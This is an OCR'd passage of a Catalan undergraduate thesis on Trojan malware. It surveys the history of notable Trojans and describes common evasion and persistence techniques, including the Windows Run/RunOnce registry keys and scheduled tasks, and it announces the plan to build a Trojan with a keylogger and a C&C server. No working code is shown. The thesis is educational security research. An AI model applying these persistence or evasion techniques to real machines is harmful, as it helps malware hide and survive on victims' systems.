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Resumen

Dado el avance tecnoldgico que estamos viviendo en esta era, nuestra dependencia de
lo digital esta transformando nuestras vidas. Un aumento de las innovaciones tecnolo-
gicas que también viene acompafado de serias amenazas para los usuarios: cada vez
estamos mas expuestos a un riesgo online que concierne a nuestra privacidad, integri-
dad y seguridad. Esto se traduce en un aumento de ataques por parte de los ciberdelin-
cuentes, a través de técnicas cada vez mas sofisticadas. Y ademas de la creciente so-
fisticacion, la variedad de malware que circula por la red es cada vez mayor.

De todos los tipos de malware que encontramos actualmente en la red, hay uno en
especial que, por su particular capacidad de infiltrarse en software legitimo, puede lle-
gar a ser verdaderamente peligroso. Nos referimos a los troyanos, un nombre inspirado
en el caballo de Troya.

En este trabajo se desarrollara un troyano, partiendo de la recopilacion de todas las
técnicas que utilizan para poder entender en profundidad cémo funcionan. Cabe poner
gran énfasis en que este proyecto esta enfocado a fines éticos, con el objetivo de poder
crear contramedidas para una mayor proteccion de los usuarios ante dichas amenazas.



Resum

Tenint en compte I'avang tecnologic que estem vivint en aquesta era, la nostra depen-
dencia del digital esta transformant les nostres vides. Un augment de les innovacions
tecnologiques que també ve acompanyat de serioses amenaces per als usuaris: cada
vegada estem més exposats a un risc en linia al voltant de la nostra privacitat, integritat
i seguretat. Aixo0 es tradueix en un augment d'atacs per part dels ciberdelinguents, a
través de técniques cada vegada més sofisticades. | a més de la creixent sofisticacio,
la varietat de malware que circula per la xarxa és cada vegada major.

De tots els tipus de malware que trobem actualment a la xarxa, n’hi ha un en especial
que, per la seva particular capacitat d'infiltrar-se en software legitim, pot arribar a ser
realment perill6s. Ens referim als troians, un nom inspirat en el cavall de Troya.

En aquest treball es desenvolupara un troia, partint de la recopilacié de totes les tecni-
ques que utilitzen per poder entendre en profunditat com funciona. Cal posar gran
emfasi en el fet que aquest projecte esta enfocat a fins étics, amb I'objectiu de poder
crear contramesures per a una major proteccio dels usuaris davant les esmentades ame-
naces.



Abstract

Given the technological advancement we are experiencing in this era, our dependence
on digital is transforming our lives. An increase in technological innovations that is
also accompanied by serious threats for users: we are increasingly exposed to an online
risk that concerns our privacy, integrity and security. This translates into an increase
in attacks by cybercriminals, through increasingly sophisticated techniques. And in
addition to growing sophistication, the variety of malware circulating on the Internet
IS increasing.

Of all the types of malware we currently find on the Internet, there is one in particular
that, due to its particular ability to infiltrate legitimate software, can be truly danger-
ous. We are referring to the Trojans, a name inspired by the Trojan horse.

In this work, a Trojan will be developed, starting from the compilation of all the tech-
niques they use in order to understand in depth how they work. Great emphasis should
be placed on the fact that this project is focused on ethical purposes, with the objective
of being able to create countermeasures for greater protection of users against these
threats.
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1. Introducci6 i motivacio

En el context d’una societat cada dia més digitalitzada, 1’ambit de la ciberseguretat
pren cada vegada mes protagonisme. Un fet que respon a la situacio actual: en paral-lel
a una major connexio digital de les comunitats, entra en joc també una creixent ame-
naga per als usuaris. Tenint en compte aquest escenari, el meu Treball de Fi de Grau
s'endinsa profundament en el complex i cada vegada més rellevant mon de la ciberse-
guretat. Concretament, la meva recerca s’enfoca en una de les amenaces més silencio-
ses i perilloses en I'espai digital: els troians. Aquest tipus de malware es caracteritza
per la seva capacitat de camuflar-se dins dels sistemes operatius, operant de manera
quasi imperceptible mentre provoquen danys significatius.

L’eleccid d'aquest tema respon a dos motius principals: per una banda, I'augment ex-
ponencial en I'ls d'internet que ha tingut com a consequéncia un increment en els ci-
beratacs, i el meu interés personal per aprofundir en la comprensio dels sistemes ope-
ratius, i com aquests son explotats per malware.

Concretament, els troians, tenen una naturalesa sigilosa que els fa especialment peri-
llosos. Poden operar sense ser detectats durant llargs periodes, causant danys signifi-
catius tant a individus com a organitzacions, fet que representa un gran desafiament
per a la seguretat informatica. La deteccid i neutralitzacié d'aquests malware no només
requereix eines avangades, sind també un coneixement profund del funcionament dels
sistemes operatius i les xarxes.

Amb aquesta investigacio, vull aportar Ilum sobre com funcionen aquests troians,
quins son els seus metodes d'atac i com podem protegir-nos d'ells. Per tant, aquesta
recerca també té com a objectiu sensibilitzar sobre la importancia de la prevencid i la
seguretat en I'entorn digital, destacant la necessitat d'estar sempre alerta davant dels
nous metodes d'atac i les estrategies sofisticades que els cibercriminals utilitzen per
aprofitar-se de les vulnerabilitats dels nostres sistemes.

Amb aquest enfoc, aquest Treball de Fi de Grau no només es planteja com una eina
per a I'aprenentatge i I'analisi, sind també com un reflex de la necessitat de reforcar la
seguretat per una millor proteccié en I'espai digital.



2. Objectius

El principal objectiu d'aquest treball és arribar a desenvolupar un troia imitant les téc-
niques que fan servir, per assolir un proposit clau: que els usuaris puguin entendre com
funcionen i, d'aquesta forma, comptin amb els coneixements necessaris a I'nora detec-
tar si el seu ordinador esta infectat. | no nomeés que tinguin la capacitat de detectar-ho,
sind també que puguin ser conscients dels perills que comporta i als quals estan expo-
sats.

Per dur a terme aquest objectiu principal, ens situem en un punt de partida amb els
seglients objectius especifics:

e Analitzar els troians mes actuals, per conéixer les tendéncies recents i poder
identificar quines técniques es repeteixen. Aixo permetra replicar-les a I'hora
de construir una representacié el més fidel possible a un troia actual.

e Estudiar en profunditat totes les técniques que poden arribar a posar en prac-
tica, entre les quals s'inclouen metodes d'infeccio, tecniques de deteccid, de
persistencia, com es comunica amb els servidors command and control (C&C)
i carregues utils dels troians.

e Una vegada estudiades totes les tecniques que utilitzen la majoria dels troians
actualment, s'intentara replicar algunes de les que la majoria tenen en coma, a
través del desenvolupament d'un troia amb fins etics. Aquestes técniques se
centraran principalment en l'evasié de deteccid, en mantenir-se ocults al sis-
tema, en generar persisténcia i en el tipus d'accions malicioses que usen.

e Crear un payload (carrega maliciosa) que recopilara algunes de les accions
malicioses que aquests troians acostumen a realitzar, com per exemple la cap-
tura de les tecles o les captures de pantalla, entre d'altres.

e Es creara un servidor command and control (C&C), que sera el responsable
d'enviar ordres a la maquina infectada, i no Gnicament aixo, sind que també
sera capa¢ d'administrar diferents tipus de payload.

e Finalment, es creara un dashboard, que incorporara una interficie grafica, amb
I'objectiu de poder gestionar les maquines que hagin estat infectades.



3. Que és el malware?

El malware, o software malicids, és un terme general que inclou qualsevol mena de
software amb intencions malicioses, dissenyat per danyar, comprometre o accedir de
manera no autoritzada a sistemes informatics, xarxes o dispositius [1]. Aquest tipus de
software és ampliament utilitzat per ciberdelinglients per a una varietat de proposits,
que van des de I'extraccio de dades personals i financeres fins al segrest de sistemes a
canvi d'un rescat. Hi ha diverses formes de malware, com ara virus, troians, cucs,
spyware i ransomware, cadascun amb les seves propies caracteristiques i metodes d'in-
feccid. L'estructura d'un malware [2] és la seglent:

e Exploit: Es el codi que explota les vulnerabilitats d'un sistema, creat especifi-
cament per atacar i comprometre l'objectiu.

e Payload: Aquest codi no només permet accedir al sistema de la victima, sind
que també possibilita que I'atacant executi comandes i el controli remotament
després de I'explotacid.

e Dropper: Es un programa que instal-la software maliciés de manera silenciosa,
sovint sense que l'usuari ho sapiga, actuant com a precursor d'atacs molt més
perjudicials.

e Downloader: Es similar a un dropper, perd amb la capacitat addicional de des-
carregar programes maliciosos d'internet, portant més malware al sistema.

e Obfuscator: A més d'amagar el malware mitjancant I'encriptacid, aquest pro-
grama dificulta la deteccio i analisi per part d'antivirus, protegint el malware
de ser identificat.

e Injector: La seva funcid principal és injectar codi malicids en processos en
execucio de la maquina de la victima, permetent alterar o prendre el control
d'aquests processos sense ser detectat.

e Packer: Aquest component no només agrupa programes maliciosos, siné que
sovint tambe els comprimeix per reduir-ne la mida i evadir la deteccid, facili-
tant la seva distribucio i execucio.



4. Un tipus de malware: els troians

De tot I'univers de malware, aquest projecte esta enfocat a un dels seus tipus: els
troians. En aquest apartat, veurem que vol dir aquest concepte, quina és la seva natu-
ralesa, quins son els més presents actualment i la seva evolucid al llarg de la historia.

4.1. Definici6 de troia i la seva naturalesa

Un troia és un tipus de malware que, a diferencia dels virus i cucs, no es replica per si
mateix, sin6 que es camufla com un programa legitim per enganyar l'usuari i obtenir
accés no autoritzat al sistema. No és casualitat, doncs, que el seu nom provingui del
famds cavall de Troia utilitzat pels grecs per infiltrar-se a la ciutat de Troia.

Quan un troia infecta un sistema, té capacitat per posar en practica un ventall d'accions
malicioses: obrir una porta perqué un atacant remot accedeixi a lI'equip, registrar pul-
sacions de tecles, robar informacid, convertir el dispositiu en part d'una botnet (xarxa
de maquines infectades), entre altres accions malicioses [1]. | aquesta capacitat per
infectar el sistema la poden dur a terme a través de descarregues de programes, correus
electronics amb fitxers adjunts maliciosos o0 mitjancant vulnerabilitats d'aplicacions
que no estan actualitzades.

4.2. Tipus de troians

Existeixen diferents tipus de troians [3], cadascun d'ells amb les seves caracteristiques
i metodes d'atac. Algunes de les tipologies de troians més comunes inclouen:

e Troians downloader: S'activen amb connexio a internet, descarregant progra-
mes addicionals per a l'atac. Actuen com a primer pas en l'atac, establint un
punt de suport per l'atacant.

e Troians backdoor: Ofereixen als atacants un métode d'entrada a través de pro-
grames maliciosos, permetent I'accés remot no autoritzat per a funcions com el
robatori de dades o I'espionatge d'activitats.

e Troians DDoS: Associats amb atacs de denegacié de servei (DDoS), aquests
troians infecten diversos dispositius per llancar atacs massius de sol-licituds a
un servidor, provocant la seva fallida o col-lapse.

e Troia rootkit: Programari per a I'accés remot a nivell administratiu, sovint no
autoritzat, permetent al atacant poder executar diverses funcions per explotar
el dispositiu.

e Troians bancaris: Centrats en I'ambit bancari, aquests troians roben credenci-
als bancaries i son capacos de superar mesures de seguretat com l'autenticacio
de dos factors.

e Troians espia: Dissenyats per monitorar I'activitat de I'usuari infectat, perme-
ten I'espionatge a distancia i el robatori de dades.



e Troians ransomware: Bloquegen o xifren dades en el sistema infectat, dema-
nant un rescat per la seva recuperacio.

4.3. Evolucio dels troians

Despreés d'aquesta breu introduccio sobre que és el malware i els tipus de troians que
existeixen, ens endinsem ara en un repas historic sobre els troians principals. Una linia
temporal que ens permetra comprendre I'evolucio d'aquestes amenaces informatiques
al llarg del temps.

4.3.1. Anys 80: Els inicis dels troians

Amb l'inici de I'era digital als anys vuitanta, van apar€ixer els primers troians. Un fet
que va suposar un significatiu punt d'inflexi6 en el camp de la ciberseguretat, especi-
alment en un periode en qué els usuaris van comencar a fer un Us creixent dels ordina-
dors. En paral-lel a aquest augment d'Us, també es van obrir noves vies per cometre
activitats delictives a la xarxa. | encara que els primers troians eren inicialment sim-
ples, a la practica van aconseguir ser efectius i, fins i tot, comprometre sistemes infor-
matics.

1980. ANIMAL.: El primer troia de la historia

Quin és l'origen del terme “troia”? EI trobem inicialment I'any 1974, en un informe de
les Forces Aéries nord-americanes, on s'especulava sobre les possibles vies de vulnerar
ordinadors [3]. Tot i aixi, no va ser fins a la década de 1980 que aquests programes
maliciosos, que seguien el prototip d’ANIMAL, el primer troia, van comencar a proli-
ferar.

L'any 1975, el programador informatic John Walker va desenvolupar un programa
anomenat ANIMAL [4], una versié popular dels "jocs d'endevinalles d'animals” amb
20 preguntes. Aquest programa es va compartir amb amics a través de cintes magneti-
ques i, per facilitar la seva distribucio, Walker va crear PREVADE, que s'instal-lava
juntament amb ANIMAL. PREVADE, mentre 'usuari jugava al joc, cercava i copiava
ANIMAL a tots els directoris disponibles. Encara que no tenia intencions malicioses,
ANIMAL i PREVADE encaixen amb la definicié d'un troia, ja que ANIMAL contenia
un programa ocult que realitzava accions sense I'aprovacio de l'usuari [5].

1989. AIDS Trojan: un troia propagat a través de disquets

Un dels troians més famosos d'aquesta década va ser el conegut com a AIDS Trojan o
PC Cyborg [6]. Aquest es va distribuir a través de disquets etiquetats com a AIDS
Information - Introductory Diskettes, lliurats als assistents a una conferéncia sobre la
SIDA de I'Organitzacio Mundial de la Salut. El troia reemplacava el fitxer AUTO-
EXEC.BAT del sistema operatiu DOS i portava un comptador d'arrencada del sistema.
També ocultava directoris i xifrava els noms de tots els fitxers a la unitat C, fent inac-
cessible el sistema. Tot i aixo, el seu xifratge simétric era simple i va ser rapidament
superat amb eines de desencriptacio.
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Figura 1: Disquet introductori d'informacio sobre la sida i la documentacid. Font: https://en.wikipe-
dia.org/wiki/AIDS_%28Trojan_horse%29

4.3.2. Anys 90: Expansié amb internet

Durant els anys noranta, internet va comencar a expandir-se massivament, augmentant
exponencialment l'abast i I'impacte dels troians. Aquesta década va veure com els
troians es van sofisticar, aprofitant la interconnexié global per a propagar-se rapida-
ment i perpetrar fraus a gran escala.

1995. Concept, el primer virus macro

Va ser a la decada de 1990 quan el panorama del codi malicios va experimentar un
canvi significatiu amb I'expansié d'internet. Posem com a exemple el troid Concept
[7], que va sorgir el 1995 i va ser el primer virus macro conegut que es va propagar a
través de documents de Microsoft Word. L'aparici6é de Concept es va traduir en un punt
d'inflexié en la naturalesa dels virus i troians: va demostrar que els documents, no
només els executables, podien ser vehicles per al codi malicids. | aixo es va reflectir
en els arxius comuns, que a partir d'aquell moment podien utilitzar-se per propagar el
malware, mostrant aixi una evolucio en les tecniques d'atac i distribucio.

1999. Melissa, el virus que va afectar a grans corporacions

Posem ara com a exemple un altre troia que també va marcar un punt d'inflexio en el
context del malware. Conegut com a Melissa [8], aquest virus macro creat per David
L. Smith el 1999 es va propagar a traves de correus electronics que contenien un do-
cument de Word titulat "list.doc". Aquest fitxer, que aparentment era una llista de llocs
web pornografics, en realitat contenia un script de Visual Basic que infectava el sis-
tema. Quan l'usuari obria aquest document, el virus desactivava diverses funcions de
seguretat a Microsoft Word i Outlook, i enviava automaticament copies de si mateix
als primers 50 contactes de la llibreta d'adreces d'Outlook de l'usuari infectat. Encara
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que no estava dissenyat per robar diners o informacio, el virus Melissa va arribar a
sobrecarregar els servidors de correu electronic, afectant a més de 300 organitzacions
entre les quals es van incloure Microsoft i Intel, i la Infanteria de Marina dels Estats
Units.

4.3.3. Anys 2000-2010: Integracié amb altres tipus de malware

Indaguem ara en la primera decada del segle XXI. Aquesta época va estar marcada
principalment per la important evolucio dels troians, especialment per la seva integra-
cié amb un altre tipus de malware. Aixo es va traduir en una creacio d'amenaces hibri-
des, més complexes i dificils de detectar i eliminar.

2000. ILOVEYOU, una carta d'amor enverinada

L'any 2000 va entrar en joc un altre troia que també va revolucionar el context de la
seguretat informatica. Sota el nom de ILOVEYOU [9], la manera de propagar-se d'a-
quest troia era a través d'un correu electronic que semblava una carta d'amor. Contenia
un fitxer adjunt normalment sota el nom LOVE-LETTER-FOR-YOU.TXT.vbs que era,
en realitat, un script de Visual Basic. En obrir-lo, el troia s'activava i aquest script
estava programat per replicar-se i enviar copies de si mateix a tots els contactes de
Microsoft Outlook de l'usuari infectat. A mes, ILOVEYOU modificava fitxers al sis-
tema de l'usuari, incloent la sobreescriptura d'imatges, musica i altres documents.

Rl (] subjest: iLavevau g R
.| [ Attachments: LOVE- LETTER-FOR- YOULTXT wbs i
Ire... |

ro.. | rindlg check the attached LOVELETTER coming from me.

o | oy

iplaved, 1 selected

e barek -loveletiex{ybhe) «<i bhate go to school>
I TR by: spyder. / dspyder@mail.com / GGRAMERSoLL Grouwp /
- Mandla, Rbilippines
i On Error Resume Next
D B fseaddvsrsten.divmin, dirtenn., fE. ek file ebscep. dow
bl L= =
chr=0
Set fs0 = CreateOhisch(’Sevipting. FilslSystenOhisct”)
vhsropysfile. Raadall
vaing)
sub, maing)
On Error Resume Next

&
i din §Fsor.rr
Dl cENUEY EE LD 0N R E D SR RO T I

Figura 2: Correu electronic amb el fitxer LOVE-LETTER-FOR-YOU.TXT.vbs adjunt.
Font: https://www.forbes.com/sites/daveywinder/2020/05/04/this-20-year-old-virus-infected-50-
million-windows-computers-in-10-days-why-the-iloveyou-pandemic-matters-in-2020/

2007. Zeus: el robatori d'informacio financera

Si bé fins ara els troians no estaven especialment orientats al robatori de dades, I'apa-
ricio de Zeus [10], detectat per primera vegada I'any 2007, va canviar I'escenari de la
ciberseguretat informatica. Aquest codi malicios va ser especificament dissenyat per
robar informacié financera, principalment a través de keylogging i atacs de man-in-
the-middle. Pero Zeus no només va afectar ordinadors: aquest malware va marcar un



canvi significatiu per la seva capacitat d'afectar tambe dispositius mobils. I lluny d'a-
cabar amb la seva poténcia d'infeccio, el codi font va ser alliberat al pablic el 2011, fet
que va comportar la creacié de noves variants del troia.

2010. Stuxnet: un cuc aparententment polititzat

Seguim amb Stuxnet [11], que va ser un cuc altament especialitzat i dissenyat per sa-
botejar sistemes de control industrial, especialment aquells utilitzats en programes
d'enriquiment d'urani. Com es va propagar Stuxnet? Ni per correu electronic, ni tampoc
per web: aquest cuc es va propagar a través de dispositius USB i va explotar vulnera-
bilitats desconegudes a Windows. Es va enfocar especificament en sistemes SCADA
de Siemens, infectant els controladors logics programables (PLC) a través de la repro-
gramacio del software Step-7. Una dada curiosa sobre aquest cuc és el seu probable
suport estatal i el seu impacte al programa nuclear irania. Un gran percentatge de les
infeccions es van concentrar a I'lran.

4.3.4. Anys 2010-2020: Atacs dirigits i personalitzats

Canviem de decada: entre 2010 i 2020, els atacs de malware van posar en practica
estrategies més sofisticades i personalitzades, especialment els troians. Aquesta etapa
va estar marcada pel desenvolupament de troians molt adaptatius amb objectius con-
crets, i per I'increment de les estafes mitjancant software antivirus fals. Els ciberdelin-
qlents utilitzaven llocs web fraudulents, imitant plataformes legitimes com ara bancs
i botigues en linia, per enganyar els usuaris i obtenir les seves dades bancaries i infor-
maci6 personal.

2014. Emotet: una plataforma de distribucié de malware

El troia Emotet [12] va ser inicialment un troia bancari i va destacar per la seva capa-
citat per evolucionar i adaptar-se. Emotet es va convertir en una plataforma de distri-
buci6 de malware, utilitzant técniques de phishing per infiltrar-se en sistemes i descar-
regar moduls maliciosos, incloent robatori de dades i distribucio de ransomware. Emo-
tet operava a través d'un botnet i proporcionava Malware-as-a-Service.

2016. TrickBot: de troia bancari a eina de cibercrim

Trickbot [13] va apareixer el 2016, i va evolucionar de troia bancari a sofisticada eina
de cibercrim. La seva forma de propagar-se no dista massa d'altres malware vistos
anteriorment: ho fa a través d'enllacos o adjunts infectats en correus electronics, enga-
nyant els usuaris perqué habilitin macros i, com a conseqieéncia, instal-lin el seu
malware. La seva sofisticacio i especialitzacid és el que defineix la seva perillositat
des dels seus inicis: capag de robar credencials accedint a contrasenyes emmagatze-
mades a navegadors web i aplicacions, i de desactivar eines de defensa com ara
Windows Defender.

4.4. Troians mes presents en I'actualitat

En aquesta seccio, ens endinsarem en el panorama actual dels troians, explorant aque-
IIs que es mostren més actius i prevalents en l'actualitat. Aquesta investigacio no no-



més ens proporcionara una visié detallada sobre com operen aquests programes mali-
ciosos sinod que, a més, ens ajudara a identificar patrons i tecniques comunes dins de
les seves accions malicioses.

4.4.1 Zbot/Zeus

El troia Zeus, també conegut com a Zbot, és un malware especialitzat en el robatori
d'informacié financera i es propaga principalment a través de correus electronics de
phising i descarregues d'arxius.

¢ Quines técniques utilitza? Una vegada instal-lat en un sistema, Zeus utilitza técni-
ques [14] com ara el form grabbing i atacs man-in-the-browser per robar informacio.
A través d'aquestes tecniques pot capturar dades delicades de formularis web i canviar
el contingut de les pagines bancaries en temps real. A més de la seva capacitat per
injectar scripts maliciosos a pagines web, Zeus fa servir técniques d'ofuscaci6 avanca-
des per evitar que el detectin els antivirus. També utilitza técniques com ara el hooking
de navegador per interceptar i modificar el trafic web, el robatori de galetes i de certi-
ficats digitals. Aquestes accions permeten fer transaccions fraudulentes i accedir a in-
formacio confidencial.

¢Fins on arriba la seva influencia? Aquesta dada ho reflecteix: el 2010, I'FBI va
anunciar que hackers a Europa de I'Est havien utilitzat Zeus per infectar ordinadors a
tot el mén, robant contrasenyes i dades bancaries per fer transferéncies no autoritzades,
que es van traduir en robatoris de milions de dolars [10].

4.4.2 Qbot

El troia bancari Qakbot, conegut també com a Qbot, QuackBot o Pinkslipbot, va co-
mencar sent un malware de robatori d'informacio fins a convertir-se en una amenaca
avancada amb capacitats de backdoor. Es propaga principalment a través de campa-
nyes de correu electronic.

¢ Quines técniques utilitza? Quakbot utilitza tecniques [15][16] com ara el contraban
d'HTML (HTML Smuggling), el sideloading de DLL, i la creacio de claus de registre
i tasques programades per mantenir-se operatiu en els sistemes infectats. A més, es
comunica amb servidors de command and control (C&C) per realitzar atacs especifics.
Qakbot també implementa técniques d'evasio, com ara la deteccidé d'entorns virtuals,
autoactualitzacions periodiques i la injeccid de codi en processos normals del sistema,
per evitar ser detectat per antivirus. Es capag fins i tot de robar correus electronics, que
després utilitza per enviar comunicacions a victimes potencials, aprofitant la informa-
ci6 obtinguda préviament per augmentar les possibilitats que els correus siguin oberts.
A aix0 se suma una técnica d'elevacio de privilegis on Qakbot injecta processos, com
podria ser I'explorador de fitxers, anomenat explorer.exe, i després crea tasques pro-
gramades per executar-se amb privilegis d'usuari del sistema.

¢Fins on arriba la seva influéncia? La xarxa de bots coneguda com a Qbot esta vin-
culada amb almenys 40 atacs de ransomware contra empreses, proveidors d'atencio
meédica i agencies governamentals de tot el mon, causant centenars de milions de do-
lars en danys. Nomes en els darrers 18 mesos, les perdues han superat els 58 milions
de dolars [17].



4.4.3 Ramnit/Nimnul

El troia Ramnit és un malware versatil i persistent que destaca per la seva capacitat
d'infectar, propagar-se i assegurar la seva persisténcia en els sistemes afectats.

Quines tecniques utilitza? Una vegada al sistema, Ramnit utilitza una gran varietat
de técniques [18][19]. Primer es copia en unitats extraibles i de xarxa, fent servir noms
aleatoris, i utilitza fitxers autorun.inf per assegurar la seva execucié automatica. A
més, crea connexions amb servidors remots a través del port TCP 443, utilitzant un
algorisme que genera noms de domini per descarregar components addicionals que
realitzen accions com ara robatori de credencials i desactivacio de programes anti-
malware. Per seguir al sistema, Ramnit utilitza tecniques com ara la creacié de tasques
programades, insercié en claus de registre, i duplicacié en carpetes especifiques del
sistema operatiu, a través del xifratge de Windows per ocultar-se. En algunes variants,
integra moduls addicionals que amplien les seves capacitats d'atac i control, la qual
cosa demostra la seva naturalesa sofisticada i la importancia de mesures preventives,
com ara I'Gs de software de seguretat actualitzat i la realitzacié de copies de seguretat
regulars.

Fins on arriba la seva influencia? VVa comencar com un cuc el 2010 i va evolucionar
a un troia bancari el 2011, utilitzant parts del codi de Zeus. L'any 2014, es va ubicar
com el quart troia financer més actiu a nivell mundial. Tot i els esforcos d'Europol per
desmantellar-lo I'any 2015, Ramnit va ressorgir rapidament [20].

4.4.4 Emotet

Emotet ha evolucionat des d'un troia bancari fins a una de les amenaces més avancades
en el context de la ciberseguretat. Es propaga principalment a través de correus elec-
tronics de correu brossa que imiten margues reconegudes, utilitzant un llenguatge per-
suasiu i arxius adjunts habilitats per a macros o enllagos maliciosos. Aquests correus,
moltes vegades amb un branding familiar, poden contenir reclams com “La factura” o
“Detalls del pagament”, portant 1'usuari a activar la descarrega del malware.

Quines tecniques utilitza? Les primeres versions d'Emotet van arribar com a fitxers
JavaScript maliciosos. Van evolucionar posteriorment per utilitzar documents d'Office
amb macros, per obtenir la carrega til de servidors command and control (C&C) ope-
rats pels atacants. La naturalesa polimorfica d'Emotet permet canviar el codi i evitar la
deteccio antivirus. A més, pot detectar i romandre inactiu en maquines virtuals.

Emotet també es comunica amb servidors de command and control (C&C) per rebre
actualitzacions, fet que permet als atacants instal-lar versions actualitzades del
malware i altres tipus de malware addicionals. Per assegurar la seva persisténcia, Emo-
tet modifica claus de registre de Windows, en particular:

— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

S'injecta en processos en execucid, com explorer.exe. A més, utilitza tasques progra-
mades per reactivar-se després de reinicis del sistema o intents de neteja. [21].

Fins on arriba la seva influéncia? Les primeres versions d'Emotet es van utilitzar per
atacar clients bancaris a Alemanya. Les versions posteriors d'Emotet es van dirigir a
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organitzacions a Canada, Regne Unit i Estats Units. Un atac d'aquest troia a Allentown
(Pennsilvania) va costar a la ciutat més d'1 milié de dolars en reparacions [22].
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5. Técniques més utilitzades pels troians

Ara que coneixem els troians més freqlients que podem trobar, el nostre objectiu és
descobrir les estrategies comunes que utilitzen aquests i altres tipus de troians. Apro-
fundint en aquestes tecniques, podrem comprendre com actuen i, d'aquesta manera,
preparar-nos millor per protegir els sistemes. En aquesta seccio, ens centrarem en les
tactiques que solen repetir-se i que son clau.

5.1. Tecniques d'evasio

A mesura que han anat evolucionant, els troians han anat incloent una gran varietat de
tecniques d'evasio, dissenyades especificament per dificultar la seva deteccid per part
dels mecanismes de defensa més avangats. Aquestes técniques no només els permeten
romandre ocults, sind també operar de manera efectiva dins d'un sistema compromes.
Els seus objectius principals son:

Evitar la deteccio de I'antivirus
Complicar I'analisi de codi
Evitar I'enginyeria inversa
Eludir les mesures de seguretat

A continuaci6 veurem quines son les tecniques més utilitzades.
5.1.1. Ofuscacid de codi

L'ofuscacio de codi en el malware fa referéncia a la manipulacié intencionada de I'es-
tructura i la logica del codi, per fer-les més enrevessades. Aquesta tecnica té com a
objectiu dificultar la detecci6 basada en signatures, métode utilitzat per antivirus. La
deteccid de signatures en un antivirus consisteix a comparar els arxius i programes en
un dispositiu amb una base de dades de signatures de malware coneguts. Quan es de-
tecta una coincidéncia entre un arxiu i una signatura de malware, I'antivirus identifica
aquest arxiu com a malicios.

Mitjancant la transformacio del codi en una forma complexa, els patrons reconeixibles
del malware queden ocults. D'aquesta forma, es dificulta als sistemes de seguretat
identificar la seva signatura, basada en patrons predefinits d'amenaces conegudes.
Algun dels métodes que utilitza sén:

Canvi de noms de variables i funcions
Alteracid del flux de control
Encriptacio de cadenes de caracters
Polimorfisme i metamorfisme

5.1.2. Xifratge de codi

Un atacant podria optar per xifrar el seu codi per diverses raons, totes elles amb I'ob-
jectiu de protegir el malware i evitar que sigui detectat i analitzat:
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e Evitar la deteccid per part de software de seguretat: Els programes de segu-
retat, com els antivirus, sovint identifiquen el malware basant-se en signatures
digitals o patrons coneguts de codi malware, com s'indicava anteriorment. El
xifratge fa que canvii I'aparenca del codi, fet que pot fer que sigui molt més
dificil per a aquests programes identificar el malware, basant-se en les seves
signatures conegudes.

e Dificultar I'enginyeria inversa i I'analisi: L'enginyeria inversa és un metode
utilitzat pels investigadors de seguretat per estudiar els malware. El xifratge fa
que el codi sigui menys llegible i comprensible, complicant aixi I'analisi deta-
Ilada del funcionament intern del malware.

Alguns dels métodes més comuns de xifratge son:

e Xifratge asimetric: Aquest metode utilitza dues claus, una clau publica i una
clau privada. La clau publica s’usa per xifrar el codi, mentre que la clau privada
s'utilitza per desxifrar-lo.

o Xifratge simétric: Aquest métode utilitza una sola clau per xifrar i desxifrar
el codi.

5.1.3. Deteccio d'entorn virtualitzat

La identificacio d'entorns virtualitzats fa referéncia a lI'aplicacié de metodes per detec-
tar si el malware esta operant dins d'un entorn controlat, com pot ser un sandbox o una
maquina virtual, sovint utilitzats en analisi de seguretat. Aquest tipus de malware esta
dissenyat per reconeixer elements caracteristics d'aquests entorns, com ara rutes d‘ar-
xius Unics o configuracions especifiques del registre del sistema.

Els investigadors de seguretat sovint utilitzen maquines virtuals per analitzar el
malware en un entorn controlat i segur, i aixi evitar infectar una maquina real. En
detectar que estan en un entorn virtualitzat, els troians poden optar per no executar les
carregues malicioses o comportar-se de manera diferent per evitar la deteccio i I'ana-
lisi.

5.1.4. Detecci6 d'anti-debug

Com en el cas de la técnica de deteccié d'entorns virtualitzats anterior, la deteccid
d'eines de depuracid (anti-debugging) és una altra técnica utilitzada pels troians a
I'nora d'evadir I'analisi i I'enginyeria inversa per part dels investigadors de seguretat.
Aguest enfocament se centra a identificar i reaccionar davant la presencia de software
de depuracio, que és utilitzat normalment en I'analisi de malware per estudiar el seu
comportament.

5.2 Tecniques de persisténcia
Per assegurar la seva permaneéncia dins dels sistemes que infecten, els troians tenen un

ampli ventall de técniques de persisténcia. Aquestes estratégies estan dissenyades per
garantir que el malware no nomeés sobrevisqui als reinicis del sistema, sin6é que també
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es mantingui de forma activa, i pugui continuar executant les seves accions malicioses
de manera constant.

5.2.1. Modificacié de registres

Els atacants utilitzen els registres de Windows per mantenir l'accés a un sistema infec-
tat, fins i tot després de reinicis o canvis en les credencials. Pero, quée sén exactament
els registres de Windows? Podriem definir-los com una base de dades que conté infor-
macio de configuracio, organitzada en una estructura arboria molt similar al sistema
de fitxers de Windows [23].

Per aconseguir la persistencia del malware es modifiquen les claus especifiques del
registre que controlen aspectes com ara l'arrencada del sistema, la configuracié dels
usuaris i la configuracié de l'equip.

Les claus de registre Run i RunOnce en Windows sén utilitzades per executar progra-
mes cada vegada que un usuari inicia sessio. La clau Run executa l'ordre en cada inici
de sessid, mentre que RunOnce elimina la clau del registre un cop executada I'ordre.
Existeixen quatre claus principals Run i RunOnce en el registre de Windows [24]:

— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
— HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Aquestes claus poden ser utilitzades pel malware per forcar I'execucid del seu codi
malicids en cada inici de sessio de I'usuari, afegint referencies als seus arxius malicio-
sos dins d'aquestes claus de registre.

5.2.2. Crear tasques programables

Les tasques programables permeten als usuaris i al sistema configurar scripts o pro-
grames perqueé s'executin en moments especifics, o en determinades condicions.

Els troians poden fer Us de I'Administrador de Tasques de Windows per a I'execucio
inicial o recurrent de malware, a través de tasques programades. Hi ha dues maneres
d'accedir a I'Administrador de Tasques i crear noves tasques: directament des de la
linia de comandes mitjancant schtasks.exe, o accedint-hi a través de la interficie grafica
d'usuari en la secci6 d'Eines d'Administracio del panell de control. Un atacant pot pro-
gramar I'execucio de programes durant I'arrencada del sistema o de manera periodica
per mantenir la persisténcia del malware.
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Tareas activas

Tareas activas son tareas habilitadas en este momento y que no expiraron.

Resumen: 149 en total

Nombre de tarea
BraveSoftwarelpdateTaskMachi

